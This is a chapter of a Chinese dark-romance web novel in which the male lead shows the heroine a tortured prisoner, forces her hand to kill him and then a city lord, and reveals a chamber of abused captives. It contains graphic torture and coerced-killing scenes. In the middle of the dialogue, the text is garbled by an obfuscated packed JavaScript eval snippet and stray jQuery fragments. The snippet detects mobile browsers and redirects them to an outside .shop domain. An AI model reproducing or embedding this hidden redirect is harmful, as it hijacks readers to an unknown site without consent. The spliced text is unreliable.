44. 逃○○九

作品:《逃离疯批权臣后

    午后的阳光透过嫩绿的枝叶,于青石板上投下一小片光影,蝉鸣声嘶力竭,扰得人心浮动。


    昨夜那旖旎失控的缠绵,只留下肌肤相触若有若无的记忆,以及心底莫名难以言说的泥泞。


    洛筱妤坐在窗边,视线落在庭院中一池被晒得有些蔫耷的荷花,神思有些恍惚。指尖还残留着昨夜那灼人的触感,以及他低沉蛊惑的声音。


    “帮帮我。”


    她猛地攥紧了手心,指甲陷入柔软的掌心,带来一阵刺痛,她才勉强拉回思绪。


    少年一袭红衣猝不及防撞入洛筱妤视线中,衣诀翻飞似烈焰灼灼,衣袍绣着恣意纹样,恍人心神。


    墨发高高束起,几缕碎发扫过眉眼,那双上挑的凤眼噙着恣意的笑意,被玉带束腰,勾勒出劲瘦腰身,映衬他那俊美的面容,连衣领处微敞的锁骨都透着三分蛊惑。


    洛筱妤咽了咽,随即飞快移开视线,避开他那双含情的凤眸。


    时昭迈步至她身侧,极其自然地执起她紧攥的手,指尖在她微红的掌心轻轻抚过,带来一阵微痒的颤栗。


    “手怎么这么凉?”他语气温和,神色却淡了下来,“夏日也该仔细着些。”


    洛筱妤想抽回手,却被他轻轻握住。


    “带你去个地方。”他看着她,唇角噙着一抹极淡的笑意,眼眸隐约透着几分兴奋。


    他没有多说,牵着她便往外走,洛筱妤心中莫名一紧,有种不详的预感。


    并非出府,而是带着她绕过长廊,走向府邸深处一处极为隐蔽,甚至连阳光都没有的角落。


    沉重的铁门被打开,一股阴冷,潮湿,混着血腥及腐臭的气息扑面而来,洛筱妤回眸,郝然一片明媚炽烈。


    这像是暗牢。


    “你带我来这做什么?”洛筱妤脚步一顿。


    时昭没吭声,只揽着她腰身轻捏了捏,随即缓步入内。


    昏暗的光线,只有墙壁上几盏油灯散发着幽微的光芒,深处,隐约传来一阵阵压抑,不成调的呻吟,足以见其绝望。时昭揽着她,一步步靠近那。


    何潘。


    他早已没了人形衣衫褴褛,浑身遍布着各种酷刑留下的伤痕,深可见骨,脓血混杂,甚至还散发着恶臭。像一滩烂泥般被吊着,只偶尔抽搐的身体和喉咙里发出的微弱嗬声,示意着他还活着。


    他的眼睛被挖去了一只,剩下的那只空洞地望着上方充满了无尽的痛苦与恐惧。


    洛筱妤胃里一阵翻涌,脸色瞬间煞白,下意识地后退,却被时昭从身后稳稳扶住。


    “害怕?”时昭的声音在她耳畔响起,温和依旧,却带着几分残忍,“他下令打死段辞的时候,可没手软。”


    他示意一旁的暗卫,暗卫拿起一把烧红的烙铁,毫不留情地按在何潘的胸口。


    “啊——”凄厉地惨叫瞬间充斥整个房间,令人毛骨悚然。


    洛筱妤浑身一颤,闭上了眼睛,不敢再看。


    少年却轻抬她下颌,扳过她的脸,迫使她睁眼,“看着。”


    他的声音不高,却带着无形的侵略与压力,语气循循善诱,带着些蛊惑引诱:“你忘了......段辞是怎么死的吗?”


    “不想报仇吗?”


    洛筱妤神色恍惚了片刻,隐约听见了段辞的声音。


    “快跑。”


    “阿姐,这次换我护你。”


    血,全是血。


    洛筱妤后退了半步,整个人抵在少年胸膛前,紧紧贴着。


    时昭将一把短刃放入洛筱妤冰凉颤抖的手里,他的手包裹着她,带着她,一步步走向不远处。


    “来。”他的唇近乎贴着他的耳廓,气息温热,语气蛊惑:“亲手杀了他。”


    “为你,也为......段辞。”


    洛筱妤眼睫扑簌个不停,手微微颤抖着。杀人?她从未想过,但......段辞不该死。抗拒与顺从于脑海不断交织着,搅的她不得安宁。


    时昭紧紧握着她的手,力道不轻不重,却不容她退缩半步。


    “怕什么?”他低笑,雾蓝色漫上眼眸,“有我在。”


    极致的精神交织与他不容抗拒的引诱下,洛筱妤扑簌着杏眸,将短刃送入了何潘的心脏。


    温热,粘稠的液体溅到了她的手上,身上。


    何潘最后一声短促的抽气后,彻底没了声息。


    洛筱妤怔愣了半瞬,手中的短刃“哐当”一声掉落在地,她视线落在手上沾上的鲜血,又移向那具彻底失去生命的示意,胃里一阵翻涌,弯下腰,剧烈地干呕起来,眼泪生理性地涌出。


    时昭静静地看着她,脸上没什么情绪,只那双混着些许兴奋雾蓝眼眸似掠过一丝不忍的情绪。


    他掏出一方干净的帕子,细致地擦去她手上和身上的血污,动作极为轻柔,仿若方才引诱她杀他的人不是他。


    待她稍微平复,他牵起她依旧冰凉的手,转身向外走去。


    重新迎上明媚的阳光,洛筱妤却觉得那光线冰冷刺骨,寒意遍布。


    未及反应,腰身忽被揽住,腾空的瞬间不由让她惊呼一声,转瞬间人已经在马上,时昭小心地扶着她,随即利落翻身而上。


    洛筱妤脊背瞬间紧绷,后背紧紧贴着他坚实温凉的胸膛,能清晰地感受到他平稳的心跳和透过薄薄衣料传来的体温。


    她有些不自在,手紧攥紧缰绳,声音微哑:“你要带我去哪?”


    时昭覆上她抓着缰绳的手,缰绳一抖,骏马小跑起来,他另一只手自然地环住她腰肢,将她更紧地圈在怀中,下颌轻蹭过她的发顶,声音带着一种漫不经心的残忍,“阿妤可知,”


    “斩草要除根。”


    洛筱妤眼皮忽突突地跳,一种不祥的预感掠过心头。


    马蹄声不轻不重,径直来到了平城城主府,府邸门前一片狼藉,显然发生了什么,守卫也换成了时昭的亲兵。


    他抱着她下马,无视府中战战兢兢跪了一地的仆从,牵着她,径直走向内院主屋。


    平城城主被两名亲卫押着,跪在正厅中央,面容憔悴,眼中充满了恐惧,看到时昭与洛筱妤的身影,连忙磕头。


    “王爷,王爷饶命,犬子无知,冒犯了王爷和王妃,罪该万死,但下官......下官实在不知情啊,求王爷看在下官殚精竭虑为安城的份上,网开一面。”


    “饶了下官


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335609|196028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这条小命,下官定然对王爷忠心耿耿,绝无二心。”


    洛筱妤看着这一幕,隐隐明白了时昭的意思,她看向他,神情有些复杂,“冤有头债有主,你何必......”


    时昭转眸看她,唇角勾起一抹似笑非笑的弧度,没有解释。只是将那柄短刃放回了她手中,缓缓贴近她身后握住她颤抖的手,不容抗拒地带她走向不停求饶的何城主。


    “你放开我。”洛筱妤挣扎想要摆脱他桎梏,杏眸满是抗拒之意。


    “看着。”时昭在她耳边低语,声音沉冷。


    手起,刃落。


    温热的血液喷溅而出,有几滴甚至溅到了洛筱妤脸颊上,她眼睁睁看着何城主瞪大眼睛,难以置信混着恐惧地倒下去,不过片刻,便再无声息。


    她手中的短刃再次脱落,整个人僵在原地,大脑一片空白。


    她又杀了一个人。


    或许是无辜之人。


    洛筱妤跌坐在地,时昭蹲下身,环住她脆弱的身体,她猛地推开他,湿润的杏眸对上他那淡漠的眸,唇轻轻颤着,“你是想要将我也逼疯吗?”


    “现在,”她顿了顿,“你满意了?”


    他没说话,不顾她的抗拒,带着她绕过长廊,走向城主府的后院深处。


    推开沉重的院门,转向一侧看似普通的书架。他在书架某处轻轻一按,机括声响起,一道暗门缓缓打开。


    一股更加浓烈,混着血腥,污秽以及绝望的气息扑面而来。


    时昭拉着她,走了进去。


    眼前的景象,让洛筱妤瞬间呼吸滞了几分,浑身血液仿若凝固。


    这哪里是什么密室,简直是人间炼狱。


    不大的空间里,囚着数十名衣衫褴褛,或坐或卧,或蜷缩在角落,身上伤痕与淤青显而易见,甚至......有些衣不蔽体,露出肌肤上触目惊心的凌辱痕迹。


    更令人触目惊心的是,院落的角落,胡乱堆叠着几具早已没了气息的女尸,形态各异,死状凄惨,显然生前遭受了非人的折磨。


    洛筱妤胃里翻涌,终于忍不住,弯腰吐了起来,直到吐出的只剩下酸水。


    “现在,”时昭站在她身边,轻轻拍着她的背,附在她耳畔,声音无波无澜,“还觉得他无辜吗?”


    “何潘所作所为,他这做父亲的,岂会毫不知情?”


    “不过是纵容包庇。”


    洛筱妤身体晃了晃,几乎站立不住,时昭适时地揽住她的腰身,抱着她将她带离了这个令人窒息的地方。


    回到别院,暮色已漫过檐角。


    浴室内水汽氤氲,微热的水漫过洛筱妤玲珑有致的身躯,水纹荡漾,氤氲的热气缭绕而上,却驱不散骨子里透出的寒意,暖光落在她苍白的脸上,显得清冷如霜。


    直到水温彻底凉透,如冷月沉入心底,她才缓缓起身,水珠顺着肌肤滚落,她缓慢换上一袭月白寝衣,迈步走至窗边。


    天边残阳如血,映在她空洞的眸子里,分不清是夕阳更红,还是那血色更浓。


    “阿妤,这个世界。”他顿了顿,“就是这样,远不及你以为的。”


    “有权有势,无所不可为。”